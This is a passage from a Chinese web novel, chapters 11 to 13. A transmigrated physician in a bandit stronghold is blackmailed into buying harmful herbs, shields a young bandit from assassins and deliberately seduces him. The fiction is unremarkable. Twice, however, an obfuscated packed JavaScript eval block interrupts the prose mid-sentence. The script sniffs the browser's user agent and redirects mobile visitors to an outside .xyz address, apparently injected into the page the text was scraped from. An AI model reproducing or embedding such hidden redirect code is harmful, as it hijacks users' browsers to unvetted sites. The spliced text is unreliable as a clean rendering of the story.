单豹“哈哈”大笑一声:“徐姑娘有这份心,极好。”顷刻,话头一转,如鹰般的眼睛盯着她:“前不久刑渠汉那猢狲做了件荒唐事,不知徐大夫是否有所耳闻?” 徐青茹心中一惊,果然提到了刑渠汉的事,那,这是在试探吗......但是此事不是......徐青茹看了眼那少年的神情,只见他兴致怏怏,眉眼一片淡漠,于是她心中思忖片刻,才斟酌道:“不瞒大当家,那婢女死之际,民女正好路过,心有不忍,便求了十九给她找个好的地方埋了。此外,民女丫鬟桂月与那死去的婢女有些交情,故而那位壮汉后面的事......民女也略知一二,大当家治寨有方,民女敬佩。” 她虽做得隐蔽,但也不是毫无破绽,故而一番话七分真三分藏,只盼能通过其考验。 果然,听了徐青茹这番话,大当家露出一丝发自内心的笑容,但很快便隐去:“为医者心善,是好事。那猢狲强横,罚了他十鞭子,我们杏花寨虽是匪窝,但也不是那不讲理之地。” 徐青茹:“大当家英明。” 话落,她便被遣了回去。 虽到了院子,但徐青茹仍心有余悸,四当家叛变,为何叫她前去?说是看看伤势,但也只是浅浅地看了眼,而后又问她刑渠汉之事,种种联系起来,徐青茹觉得更像是一种威慑,一种对自己行为的警告,比如说,她让阿莲的事情传到了二当家处。 不过......徐青茹脑海中忽闪现四当家张磬的那番话,叛徒,他说的叛徒是什么意思? 徐青茹敛眸,杏花寨的浑水,她定要敬而远之。 正待她细细琢磨之际,院子的门再一次被敲响了。 这一次,声音不大,一声重三声轻,细碎得如雨滴声。 怎么回事! 究竟是谁! 桂月已经入睡,徐青茹披上厚实的外袍,轻手轻脚地走到大门口,外夜安静,月亮高悬,冷风呼啸,她抿着唇,静默片刻打开了门。 “徐姑娘。”来的人笑了笑,声音温润,他掀开头上的黑袍,露出脸来。 竟然是他?! ——三当家宋又新。 “三当家怎么来了?”徐青茹声音平静得如玉般的湖面,下头却隐含着汹涌暗潮。 三当家却只瞧了瞧天色,说:“这么晚了,徐姑娘不请我进去坐坐?”大有她不答应便不走之意。 徐青茹垂眸,摸了摸袖中的那把小刀,半响,轻笑了一下:“既然如此,请进,三当家。” 两人进了房屋,月光透过窗棂照 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三当家笑着回答:“三日之后,山寨外出购买药材时麻烦徐姑娘买一些药。”但具体说到什么药时,这位三当家的声音小了许多,徐青茹听着,心中疑云更深。 “购药的事不归我管,我也出不去。” “徐姑娘,你大可以扯些由头同大当家说道说道,大当家必会允了。”这位白面书生般的山匪似好心地帮她出着主意,仍是笑意吟吟。 徐青茹心中冷笑:“三当家,我为何要冒这样大的风险帮你?” 寂静片刻,男人露出意味深长的笑容:“徐姑娘,我可是帮你保守了一个天大的秘密,礼尚往来,你也当帮我做些事情。” “——还记得张皮子么?他如今还睡在那湖里面呢。” 徐青茹瞳孔中闪过一丝震惊,怎么会,他怎么知道?! “......想必徐姑娘心中正疑惑我怎么知道。”三当家摇了摇头,露出一丝惋惜的神情,“你们当初的说辞,若是遇到个道行浅的,还有可能糊弄过去,但,哪能瞒得过我们这种刀尖山舔血的人呢?” “更何况,我后面又派了个兄弟前去湖那边瞧了瞧,找了一番,虽你们已经扔了尸体,但手法还是不够老辣啊。” “徐姑娘,我话说到这,你好好考虑一下,若是同意,便捎个信给我,若是不同意,哈哈哈就别怪我宋某将此事公之于众了,到时候......” “不用考虑了,我做。”徐青茹打断其话语,直直地盯着眼前之人,眼神犀利。 “哈哈哈哈哈哈......”山匪大笑起来,“是个爽快人!好,既然这样,我就等徐姑娘的好消息了。至于钱财......想必我之前送给徐姑娘的东西还没用吧?用那个就是!” 说完,男人拍了拍徐青茹的肩膀,又给自己倒了茶,这才离去。只留在徐青茹如孤洁仙子般站在原地,抿着唇,神色复杂。 忽地,一声细微的响声传来,徐青茹敏锐地抬起头,房门被“倏”地打开,是桂月。 少女的视线落到桂月身上。 桂月忙说:“姑娘,我不是故意偷听的,只是刚刚太吵了我便醒了,怕姑娘这边出了什么事情这才赶来,没有想到......”桂月把门关上,快步走到徐青茹旁边,声音略带急切:“姑娘,他,他真的知道了张皮子的事?” “这,这下可怎么办......” 徐青茹蓦地握住桂月冰凉的手,眼神平静而有力量:“不要怕,我刚刚同他做了交易,他暂时不会揭发的。只是,这才入寨不过短短一个月,一山未平一山又起,处处暗藏杀机,桂月,你我一定要当心,切不能让人捉住把柄。” “是!姑娘。”桂月也握住徐青茹的手,似乎从中汲取到力量,整个人很快镇定下来,“姑娘,我相信你。” 11. 第 11 章 买药 翌日,徐青茹便和大当家说明,她忽地想起一个方子,能够辅助治疗老夫人的病,但其中的几味药材不敢确定,须亲自辨析,问三日之后的外出,能否允了她去云州那边的药堂看看。 事关老夫人之事,且徐青茹又经过多次考验,大当家答应得极快,只是,她这次须同小栾爷一起去云州。 风和日暄,山川巍峨。 徐青茹一身靛蓝色暗花衣裙,莹白色的腰带轻系着,脸上蒙着一层细细的白纱,头发简单盘起,用一二朱钗点缀,眉似新月,眸如秋水,恍若山林间的一滴山茶朝露。 这是她进入山匪后第一次这般打扮,褪去了眉目间那抹无形的小心翼翼,焕发出少女的勃勃生机。 栾佑则是一袭石青色衣裳,乌发只随意用一红色缎带扎起,发尾随风飘扬,冷眸薄唇,姿态懒散。 除了他们之外,还有几名模样端正,换了便衣,脸上涂了白粉的山匪一同前去。 云州位于国土之东南方向,平原辽阔,土地富饶,正是一番风水宝地。 徐青茹自穿书而来,从未去过古时真正的城镇,此番去云州,心中也有少许好奇与雀跃。 徐青茹和栾佑是坐在马车里的,马车宽敞,毛毡布虽旧但胜在干净整洁,两人相对而坐,少年闭眼假寐,徐青茹则靠在马车壁板上,刻意忽视旁侧之人身上传来的淡淡松香,只微微掀起帘子,从这一角中窥见外头尘世—— 只一眼,便是热闹非凡。 车马相连,人烟紧凑,大小铺席比邻接壤,来来往往挑担的货郎、此起彼伏叫卖的吆喝声、转角正勾画着凤凰的糖画摊以及蒸笼揭开的团团雪白云絮,无不宣召着此刻的繁华。 他们在一处药坊停了下来,几名山匪去了旁边的店铺,而栾佑跟着她进了药堂。 药堂正门上方高悬黑底金字的匾额,题为“济世堂”,一进门靠右便是一墙深褐色的木质药柜,每柜分上下数层,各抽屉上贴着红纸标注的药材名。 徐青茹先是报了几味熟知的药材,而后又提了几味只描得出特征的草药,问掌柜,能否让她亲自辨析一番。于是,店里的年轻伙计便带她去了后院。 后院中,晾晒药材的竹匾层层叠放,浓郁的药香弥漫于空气之中。 徐青茹心神微动,仔细看着这些药材,欲找到三当家要她购得的药材。 一炷香后,她敛了敛神色,转过身来看向站在她后头的伙计,眉眼温柔,低声语道:“新来的?” “姑娘好眼力,我确实是新来的,过来当个学徒。” 徐青茹嘴角露出淡淡的笑意,指了指几个方位:“这些药材我要了。” “好嘞姑娘。” 年轻的伙计仔细清点着徐青茹指到的药材。 徐青茹从袖中掏出一袋银子,声音低了下去:“这些药材你不要记在账上,就说是一无名氏托你买的,过了些日子再把这里的事儿辞掉,你若办得好,这袋银子便都是你的。” 小伙子一惊,支吾着,手脚也不麻利起来:“姑......姑娘......这怎么使得......” 眼神却止不住地落到那鼓囊的袋子上——徐青茹把袋子打开,里面全是崭新的银元宝。 “这里只有我们两个人,你就说,做不做?” 十六七岁的伙计咽着口水,沉默着,忽然心一横,拿过徐青茹手中的银子,护在胸口:“我做!我做!贵人你真的把这银子都给我?” 徐青茹淡笑着:“当然。不过若我下次再来,还见你在这,这银子,我可就要回去了。” “好,小的知晓了,即日就离开!” 前院。 药坊里的老掌柜眯着眼,枯瘦的手指在药柜间游走,终是打包了一份之前徐青茹叫了名的药材包,用细麻绳在上面足足绕了三匝。 “徐姑娘要的百合、麦冬、玄参——”他对着空荡荡的门槛拖长调子,忽地想起来什么拍了下脑门,“瞧我这记性!徐姑娘去了后院。” 话音刚落,掌柜便瞥见门廊阴影里抱臂而立的少年——青竹纹的衣裳裹着劲瘦腰身,高马尾下露出几缕桀骜的碎发,那眼尾天生带着几分潋滟,似要把满室药香搅得旖旎三分。 “哎!那位穿竹青衫的小郎君!”老掌柜扬了扬手上的药包,上头的红纸签被风吹得簌簌,“替你家娘子捎回去,这些药材需得存放干燥之地,熬药时须武火三沸改文火,切忌荤腥......” 少年懒洋洋地掀开眼帘,漆黑的眼眸中闪过一丝寒意。腰间的那把短剑随着他直起身的动作轻响,惊得柜台上的铜秤一晃。 老掌柜的话戛然而止。 “娘子?”少年细细品读着这两字,忽地嗤笑一声,“掌柜这般眼力,不如早日回家颐养天年得好。” “你......” 老掌柜正要说着什么时,徐青茹正从后堂进来,见着打包好的药材,便赶忙走来,语气温柔:“掌柜,可是装好了?” 老掌柜抬头看向她,脑中仿佛迟钝了一拍,浑浊的眼球又看向栾佑,最后才想起什么似地拈须道:“小娘子,你可算来了,你这位郎君也实属不耐烦了些。” 徐青茹一愣,不由看向旁边的少年,正好与他似笑非笑的眼神对上,徐青茹赶忙撤回视线,难得窘迫地对掌柜笑了笑,却是没解释。 徐青茹拎着药包回了马车,那些去别的地方采买货物的山匪也正好回来。 此处虽热闹,却不宜久留,一行人便启程回寨。 徐青茹仍同小栾爷坐于马车。只是,自她从药坊出来,便觉得背后隐隐约约有一道目光,但一往回看,到处都是人群,黑压压的一片,什么踪影都难以发觉。 她心中闪过一丝不好的预感,眉眼染上一丝凝重。 忽然,她感觉周边的嘈杂声越来越小,少女掀开帘子——原是出城了。 徐青茹紧了紧神,在山寨中的这些日子,她整日提心吊胆,就算是平常事,她也能察觉出个不对劲来,更何况她刚刚又隐秘做了桩交易。 “尝尝。”相距只不过三寸的少年郎君忽递来一饴糖。 玉色的糖块泛着琥珀微光,在他骨节分明的手中更显明亮。 徐青茹微愣,顷刻,她小心翼翼地从少年手中拿走,对着他露出了一丝少有真诚的笑容:“谢谢。” 说罢,她摘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955430|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下面纱,剥开桑皮纸,安静地吃了下去,同现代的糖果比较起来并不太甜,只是此刻吃着分外安心。 不知过了多久,此时已是残阳如血,云霞翻滚。 徐青茹倚在沉香木匣浅眠,突地马车颠簸一下,将她闹醒。但还未等她有所反应,便只听得前面驾马之人大呼:“有刺客!!” 徐青茹心中一惊,身旁的少年骤然拔刀,双眸锐利,神情凛然,侧头兀地对她说了一句:“别出来。” 说罢,便一跃而下,宛如断线纸鸢。 她忙点点头,不敢有所动作,安静地呆在马车之中,听得外面一片忽远忽近的厮杀之声。 忽地,一长剑如长枪般从外头直直刺入车厢,正好停在徐青茹的耳尖,而她亦看见自己鬓边的一缕青丝缓缓飘落,刀剑之中倒映出她惊惧放大的瞳孔。 马匹受惊,其声嘶鸣。 徐青茹神经高度紧绷,指甲深深掐进掌心,出去,还是不出去? 哪里才是她的生路? 她脑海中闪过不久前栾佑对她的嘱咐,她心一横,抿着唇,坐在马车内巍然不动。 那剑似乎只是一错觉,很快又收了回去。 徐青茹无意识地攥着拳,身体微颤,心跳如鼓。 似乎过去很久又似乎只是片刻,外面的声音慢慢消散,直到完全安静下来。 是......赢了吗? 还是输了...... 徐青茹心中多个念头一同闪过,忽地,她听到那人的声音,“出来吧。” 温和冷漠,又带着一丝疲倦。 但徐青茹只觉得,心中的那块石头一下子落了地。 她慢慢起身,忍着心中的不适走下车。 一股浓郁的血腥味扑面而来。 外面是一片尸体横林,鲜血四溢,唯有那少年独自站在那,手持一把短剑,剑锋滴血,眉目冷峻,一身煞气。 “你......”正当徐青茹想说些什么时,她忽然见到少年背后一躺着的人面目狰狞地站了起来,拿起一旁的刀就要从后背刺向栾佑—— “小心!” 电光火石之间,她已飞快地冲上前,本意是想拉开他,却阴差阳错之下,用自己的血肉之躯为他挡了那一剑。 少年眉眼中闪过一刹那的惊讶与错愕。 痛,好痛...... 怎么会这样......她才不想送死...... 源源不断的鲜血从她的身体流出,刺客的弯刀还嵌在她肩胛骨。 少女此刻深入蒲柳,面容苍白,一双秋水眸此刻氤氲出少许泪花,她双唇上下翕合着,似乎要说些什么,然而不到片刻便沉沉晕死过去,头落到少年肩上,血也浸染透他的青衫。 栾佑抱住她,皱着眉,神色极为难看。 他将少女小心翼翼地放在地上,回头望向那个体力透支仍不愿服输的刺客,眼中一片恍若置身于荒野般的死寂。 破风声起于瞬息之间。 少年身形如影,刀起刀落,不到一个来回,那刺客便已真正成他剑下亡魂。 一滴血溅到他脸庞,栾佑面无表情地拭去。 12. 第 12 章 情动 徐青茹是被痛醒的。 一片混沌之中,她突然感受到一股钻心的疼痛,强撑着睁开眼睛,却见是少年手上拿着一把弯刀,而弯刀上正带着一股浓郁的血迹。 “疼......” 她虚弱地呢喃着,却听不清话语。 见她醒来,栾佑手中的动作一顿,声音带了一份少年人独有的清润,“别怕。” 说罢,他当即扯下自己身上白色的缎绸,动作轻缓地将其缠绕在徐青茹的伤口上,神色淡漠而专注,未曾看一眼其他。 她迷糊着,任人摆布。 忽地,徐青茹感受到自己肌肤上触碰到了一点除缎绸外的凉意,像蜻蜓点水般一闪而过,未等她反应过来之际,便烟消云散。 栾佑收了手,欲将她褪下的半边衣裳拢上。 而在他靠近之时,她突然瞥见他耳尖的红色,徐青茹瞬间清醒过来,想起不久前发生的事情以及现在的处境——她替他挡了一刀,随后晕死过去,而他刚刚在给她包扎。 前世身为医者,她早已把脱衣看伤口这样的事情当做家常便饭,但此刻,她看着少年通红的耳尖,却感到了一丝迷茫与羞怯,而在这羞怯之后,她心中突然涌现出一个大胆的、她此前从未有过的想法—— 她是否,可以让这位在山寨中地位斐然的少年,成为她的裙下之臣呢? 论皮囊,此人不差,甚至可以说是上上品; 论德性,虽是山匪恶人,却遇事缜密冷静、手段果决; 最重要的,他是大当家信赖之人......而她为三当家所做一事难免有败露之时......她必须要留下一条后路。 情爱是软肋,但有时,也能成为刀刃呐。 少女眼中流露出一丝疯狂,但很快便消散得无影无踪。 她敛了敛神色,望了眼四周,只有前方有一处火焰,而火光之外,皆是黑暗,便开口问道:“这是何处?” “山洞。” “你受了刀伤,得尽快拔出,我便找了处附近的山洞。” 徐青茹默了会:“刀深如何?” 少年抬眸看她:“不深,只在浅表之处。” 良久,又道:“徐姑娘你......为何要替我挡刀?” 徐青茹一顿,神色难辨。 追问本心,她并不愿意以自己的性命换取他人的性命,挡刀只是一个美丽而痛苦的误会,但误会已经发生,她的疼痛与鲜血真实存在,她又岂能白白浪费这样一份恩情? 当然不能。她心中如是说道,而且她还要加把火,让其烧得更加猛烈—— 她作出这个决定时,只用了半息。 徐青茹回忆起过往她看过的那些影片,仿照着她人的神情,秀眉轻蹙,睫毛微颤,一双杏眼既明媚也哀伤,还带着少许欲语还休的缠绵:“民女自进了山寨,整日忧心忡忡,担惊受怕,前些日子的外出,要不是您,我怎还有如今的性命?今日亦是如此,若不是您将那刺客一一斩尽,民女恐怕现在只是一介亡魂。” 这是假意,但也是真情。 “郎君——”徐青茹兀地握住少年的手,容貌娇怜,眼中泛起雾气,“您于我是恩人,民女无以为报,只有性命一条,盼您安康。刚刚郎君您替我探了伤,民女,民女的身子已被您......” 徐青茹神色凄悲而果决,她紧握住少年温热的手,将其缓缓放于自己腰侧——僻静之地,孤男寡女,肌肤相触,其意不言而喻。 栾佑眼底闪过一丝惊讶,蹙着眉,似乎没有想到她竟有这般举动,但,他并未抽手离去。 少女身上有一股淡淡的幽香,且通过腰间衣料,能够很明显地感受到她正在微微颤抖。 他眼神逐渐深邃,过了半响,才道:“徐姑娘,你应好好养病。” 说罢,他欲收回手,却被徐青茹紧紧按住,就恍若抓住唯一的救命稻草一般。 她的鬓发已有了少许凌乱,秀眉如青山般叠嶂,眼眶微红,气息不稳:“......不要走。” “郎君,不要走。” 少年一顿,凝目看向她,神色并未有任何波澜,甚至有些淡漠。但,这般蛾眉玉色、夭桃秾李的容貌,这般泫然欲泣、楚楚可怜的模样,任是三清六御,也不免要动一动恻隐之心,更何况是他这样年少顽劣的年纪? 栾佑忽然想到第一次见她,她虽害怕却并不恐惧,眼中更有拼一死战的决心,更何况她后面还敢提出要进入山寨,为老夫人治病,镇定自若、聪明果决,勇气非一般女子也。不过,这也是他怀疑她的开端...... 有意思,真有意思。 他轻嗤一声,随后用另一只手拂去她面容上的点点泪光,语气平静,就如同询问今日天色如何一样:“你确定吗?” 正沉浸于孤苦情绪中的徐青茹心中猛地一跳,她敏锐地察觉到这并非简单的反问,而是一种高度危险的信号,她睫毛微垂,轻抿着唇,整个人恍若一株包含露水、摇摇欲坠的芙蓉,良久,她才缓缓抬头,眼神与他对上,带着义无反顾的坚定:“民女确定。” 有什么不确定的呢? 千般事万般事,既然认定了便没有什么好顾忌的了。 说罢,她借力兀地向前在他脸颊落下一吻,仿若一片羽毛轻轻拂过,稍纵即逝。 一触即离的触感让栾佑明显一愣,他知她大胆,但也没有想到她竟是如此的直接! 但还未等少年深思,徐青茹的唇又覆了上来,这一次,她稍稍用了些力道,前世她交过男友,吻技虽算不得好,但应付一个年少的古人,应该也绰绰有余。 但令她没有想到的是,少年只是晃神片刻,很快便反客为主,另一只手自然地放到她脑后勺轻轻抚摸,也一把将她带得更加靠近。 她的气息全部被人吞走,最后只能发出如猫一般的呜咽声。 在这样情谊绵绵之际,徐青茹有一瞬间忘记了自己是穿成炮灰女配、每日殚精竭虑的倒霉蛋,她的愤恨、委屈、不甘、心酸似乎有了一个发泄之地,一股脑地借着此刻的情动倾露出来。 “嘶。” 伤口不小心被人碰到,惊得她一阵哆嗦。 徐青茹兀地停下动作,上气不接下气地喘息着,面容浮现出一丝痛苦。 “姐姐怎地?”少年望向她,俊美的脸庞微微迷离,一双漂亮的眼眸尽显无辜之色。 “......疼。”她的声音带着明显的娇软,意识到他刚刚喊她什么时,脸颊透出丝丝嫣红,“你......你何地这般喊我?” 栾佑勾着唇:“姐姐十八,我才不过十七,喊这称呼,有何之错?” 这下倒是徐青茹一惊,她虽谎称自己十八,但也只是因为这具身子年少,但实际上,她已在现代活了二十六个春秋,而眼前之人竟比自己小上九岁,她突然心虚起来:“随......随你。” 说罢,她看向栾佑红红的嘴唇,心神云游——嘴唇很软,但吻技......还需再提升提升,之后嘛,还可以试试别的...... 少年凝视着她受伤之处,忽说:“这伤虽说不深,但也需要上药,在你醒之前,我去瞧了眼那药包,可惜,并未有敷以伤口的草药......” 这话顷刻将她思绪拉了回来。 后面的话徐青茹并未听进多少,脑中满是他那句“瞧了眼买的药”,一颗心脏几乎要跳了出来,更甚于情动之际。 这么说,他看过药了?!那......他对自己额外买的那些药材,又知道多少! 徐青茹敛了敛神色:“这些草药,山寨常备,故而此番便并未采购,自是找不到。”接着,她又若隐若无地试探着问道:“郎君,也略识得草药?” “久病成医罢了,只识得少许。”栾佑浅笑着回道,神色并无异常,只是细听之下,带着少许难以察觉的自嘲与讽刺。 不过徐青茹并未注意这些细微的情绪,她额外买的那些药材混在平常的草药之中,如果不是真正醉心于医术者,应当难以辨别。 不要自乱阵脚。 她捺住自己心中想一问究竟的冲动,无意识地摩挲着自己的指腹。 “现天色已晚,车辆马匹我已置于洞外,明日卯时,再前往山寨。”说到这,他顿了一下,视线并不顾忌地落到她的肩上,“还痛么?” 徐青茹摇了摇头,而后又点了点头。 摇头是下意识的,她总是想藏起自己的病弱,但又陡然察觉到,这并没有什么好掩饰的,于是她又点了头。 栾佑不由觉得一阵好笑,愈发觉得她奇异可爱。 忽地,徐青茹开口问道,目光微沉:“所以,要在这夜宿吗?”外面的天色已完全沉了下来,暮色四合,孤月高悬。 “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996665|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那你,靠近些。”她攥了攥他的衣袖,随后把头轻轻地靠在少年肩上,“我冷。” 少女微微起伏的呼吸勾着她整个身体都在轻轻晃动,尤其在此等静谧之中。 ......栾佑想到了幼年时他养过的一只红狐,最是聪明伶俐,狡黠灵动,平日他练功休憩之时,它便会伏在他的肩上蹭来蹭去,柔软松惬,有时他亦拿些许荤菜喂它,只是后来...... 想到后续之事,少年眼眸陡然一沉,凛然而冷漠,良久,他伸出手握住她,袖下的腕骨泛起青白。 * 翌日,天色微朦,晨雾如纱,带着一丝料峭的春寒。 徐青茹被远处传来的几声鸟鸣声惊醒,指腹触到身侧犹带少许余温的枯草垫子,微微一愣。 肩胛骨上的刀伤仍隐隐作痛,篝火残骸只剩下一片黑色的余烬,她将身上的衣物穿好,哈出一团白气暖了暖手,凝思良久。 山洞不远处。 少年正懒散地倚在半朽的榆树上,用他那把短剑削着竹枝,眉目专注,力道可观。忽地,一阵轻缓的脚步声传来,栾佑并未停下手中的动作,只是抬声问道:“伤势可好了些?” “不碍事。”徐青茹紧了紧衣裳,眉眼弯弯,忽起了些玩闹的心思,歪头问道,“你怎知是我?不怕是什么老虎、孤狼,野鹿?” “哈。”他的声音松松懒懒,又很有旦曦的朝气,他抬头对她一笑,“猜的。” “那,要是猜错了呢?” 栾佑一顿,不急不慢地收剑起身,他抬眼看她,神色自然闲随,沾着竹屑的指尖虚虚擦过她云鬓,摘下一片榆叶,不慎在意地道:“那就只好羊入虎口了。” “……那你是羊。” 少年勾唇轻笑:“我自然是虎。” 他身上晨露的气息扑面而来,徐青茹耳尖微红,余光扫过歪斜的马车——车辕裂口处缠着新劈的藤条,显然是被人仔细加固过。 她心底像被羽毛轻触了般,闪过一丝别样的情绪,但很快,她想到自己思量许久之事,终是开了口:“小栾爷。” 她看向他,神色略有郑重,眼眸漆黑而明亮,像一颗水汪汪的葡萄,“待入了山寨,可否,可否遮掩一二您与民女的关系?” 四周顿时安静下来,少年手中的动作也一滞。 “呵。”他嗤笑一声,抬头看她,似笑非笑,“我就这般见不得人吗?姐姐。” 说到“姐姐”两字时,他咬牙极重,带着一丝若有若无的缠绵。 徐青茹感受到自己脸庞微微发热。 她凑近半步,脸颊在他脖颈下方蹭了蹭,带来少许温热,随后她仰头看向他,神色温柔:“听闻三当家向来厌恶这些事,民女怕此事让您和三当家之间生了嫌隙,况且,世事无常,妾本是良家女,今日却当了匪贼,生死不由己,偷得浮生,有缘便是最大的福分,何苦再在意这些虚名?若是之后生了什么事端,民女一人承受,也不会染了家辈和您的清明。” “此外,民女虽愚钝,但也知四当家叛变、你我遭遇刺客的关头下,掩下......这等事,方是上策。” 她言辞诚恳,神色动容,不似作假。 栾佑安静地看着她,而后用手将她鬓旁的青丝拂到耳后,眼神几分打量,几分探究,忽地,他将她拢到自己胸前,气息呼在她柔软的耳垂上:“好。那就依你的,姐姐。” 说罢,少年陡然放开了她,削尖的竹枝在他手中转出寒光,他瞥了一眼马车,冷声道:“少许还是有些漏风,徐姑娘将就一下罢。” 徐青茹微愣,他话语的转变让她心底泛起一丝若有若无的不适,但转念一想,他愿意掩饰一二,已是不易,虽她话语那般,但实际上她才是那颗最容易被丢弃的棋子,更何况,她看了眼破损的马车,这东西有总比没有好,她得尽快进寨上药。 进入马车,她慢慢放下帘子,随后细细打量着车上的货物。终于,徐青茹在一个角落中找到了昨日的她额外标记的药包,仔细检查、确认封口完好无损后,她才眯着眼,倚着车壁上长舒一口气。 马车外,马鞭破空声阵阵传来,混着少年人的嗓音,惊起一片林中群鸟。 徐青茹端坐着,眼底一片晦色,最惊险的事情,还没有解决。 三当家知道那件事,那其他人呢,会不会也知道...... 13. 第 13 章 贼船 一入山寨,徐清茹便同栾佑向大当家禀明了事情的来龙去脉,单豹见她受了伤,便让她先行下去,只留了栾佑一人。而此期间,她与栾佑两人并无任何交流。 还明院中。 桂月正拿着上好的金疮药敷在徐青茹的伤口之处,她手上动作麻利,脸色却是担忧极了:“姑娘怎么回回出去都得带身伤?姑娘细皮嫩肉的,怎受得了?” “好了好了。”徐青茹伏在床上,将脸埋在绣枕里,双眼轻闭,“我算是明白了,进了这山匪窝,日子便得倒数着来,活一日便赚了一日,受个伤什么的,也已经是顶顶幸运了。” “姑娘——”桂月长叹一声,“话虽这么说,但只要......只要过了,那个事,姑娘凭着医术,不出这杏花寨,便是安全不少。” 徐青茹一顿,不对。 她在心中暗忖着,即使能在山寨窝里过一段好日子,但等朝廷的剿匪大军前来,她们这等污流之辈,必然也会受到牵连,说不定还是斩首之刑。只是,正如桂月所说,她现在最应担忧的,还是三当家让她的买的草药——那些玩意,合在一起可是害人的东西,这位三当家,究竟想要做些什么...... 涂好药,徐青茹换了件月色绣兰的素裙,现已是申时,食用晚膳之际,琉霜夫人来了。 这位夫人如往日一般美艳动人,让徐青茹这等朴素之地也熠熠生光起来。 她见着徐青茹,首先便是好一段关切,问她伤势如何,又怎么会遇到了刺客,徐青茹都一一作答。 片刻,琉霜突然靠近徐青茹,在她耳旁说了几句密语。 徐青茹脸色略变了变,叫桂月出去伺候着。 “青茹,你觉得,真是他所为?” 琉霜言,她听到些风声,这次她和栾佑会遇到的刺客一事,正是四当家张磬向外传的消息,可是,四当家不是已被关押了起来吗,怎么还能传递消息呢?于是大当家怀疑,山寨之中还有其他奸细。 至于为什么琉霜能与徐青茹讨论此事,一是因为她来杏花寨为时较短,尚未接近真正机密之事,二是她是本次刺杀下的受害者,虽不排除有自导自演之嫌,但这几率太低,故而她的嫌疑大大减小。 徐青茹思凝着,摇了摇头,这其中蹊跷太多,一时间难以判断,难道......徐青茹脑海中闪过三当家的脸庞,但很快被她否决,如果是他,那他为何要刺杀自己,自己身上还有他需要的药材。 但如果不是来刺杀她的话,那么就是来刺杀栾佑,也只有他,还具有一些山寨中的价值,那么,会是谁想要置他于死地呢? 罢了,这些都不应该是她该操心的事情,她轻咳一声,掩唇道:“琉霜夫人,此事,民女也难说一二。” “害。”琉霜拉过她的手,笑了笑,“我不该拿这样的事情扰你。我给你带了我亲手做的糕点,你尝尝。”琉霜将鎏金色的食盒打开,十二枚胭脂酥错落有致,每一枚都掐作五瓣杏花状,蕊心点着晶莹的蜜露。 徐青茹微愣,惊讶于琉霜夫人竟有这般手艺,比起现代精品糕点也不逊色多少。 “用杏花的汁水做的,你看看好不好吃。” 徐青茹点点头,用银箸(zhu)夹起一块放到唇边,只觉得入口即化,分外酥脆,她眼睛亮亮的:“好吃!夫人您的手艺真好!” 琉霜满意地笑了:“既然好吃,你多吃些,这些都给你,若是不够,我再做些,你叫桂月去拿。” “夫人您真好。” “我在这山寨,无依无伴的,凤奴姐姐也常有要事忙碌,瞧着你亲切,故而接近,你可不要嫌我烦人!” 徐青茹轻笑:“我怎敢恼夫人,夫人一来便给我带各式东西,我只盼着,你来的勤快呢!现既已是晚膳,夫人便同我一起吧。” “好。” * 暮色漫上窗棂之际,三当家再一次登门。 徐青茹如约将采购的药材给他,神色淡淡。反倒是这位山匪瞧见她行动不便,便问:“徐姑娘这伤怎么样了?” 徐青茹:“已敷了草药,修养十天半月的,便应该好了。” “啧啧啧。”他露出一丝惋惜之情,“是我的不对了,若我不麻烦徐姑娘去采买,徐姑娘也不会受这一伤,宋某惭愧啊。” 说这惭愧,但这人眼神中并未有任何愧疚之意。 徐青茹冷哼一声,不欲跟他讨论此事,眼神犀利,只问:“三当家答应我之事,可作数?” “这是自然。”宋又新笑着答到,但“然”字还未说完,又一个转音,回到了但是,“但是啊徐姑娘,宋某手下有一兄弟,也知道此事,说是要禀告大当家的,但宋某想着和徐姑娘的情谊,便阻了他,只是,这并非长久之计,还需徐姑娘......” 听到这,徐青茹大概知道这人葫芦里面卖的什么药了——他这是要自己,完全地臣服于他、为他所用。 徐青茹心中暗骂一声老奸巨猾,她就知道这件事情难以了结,既然这样......她眼底闪过一丝晦暗,勾着唇,轻声说:“那......三当家还要我做什么?” 宋又新拍了下手掌,笑眯眯地说:“徐姑娘果然冰雪聪明,和徐姑娘说话,就是舒畅!” “不用废话,三当家你直说吧,你想我做什么?” 宋又新却并未回答,而是问了一个与之无关的问题:“徐姑娘,你觉得大当家怎么样?” 徐青茹心中感觉一丝不妙,但仍然说道:“大当家?大当家自是威武不凡,民女一介弱女子,岂敢妄议?” “哈哈哈哈哈哈......” “徐姑娘,你真是一个妙人。” 说罢,他抬眼看向徐青茹,眼神多了几分别样的情绪:“徐故娘,不知你觉得我宋某能不能当这个大当家呢?” 徐青茹心头一震,背脊发凉,这人竟有如此狼子野心!她的眼神警惕起来,冷冷地看向眼前的山匪。 “呀,吓到你了,徐姑娘。”宋又新忙忙作揖,“宋某唐突,宋某唐突!” 徐青茹未语,只听到这位三当家话音一转,眼中透露出一股睥睨之意:“但,人呐,就是得有这样一口向上的气嘛,更何况大当家治寨并无方,弄出几个奸细。徐姑娘,我给你保证,若你助我当上大当家之位,我便许你为新的,徐当家。如何?” 最后一句,他说的很轻,但在权利的流光溢彩之下,徐青茹还是为这两字短暂地失神了一刻,不过,她很快便反应过来,这人正如前世她主任一般,给她画大饼呢! 但是现在......徐青茹扫了一眼四周,不能硬碰硬.... 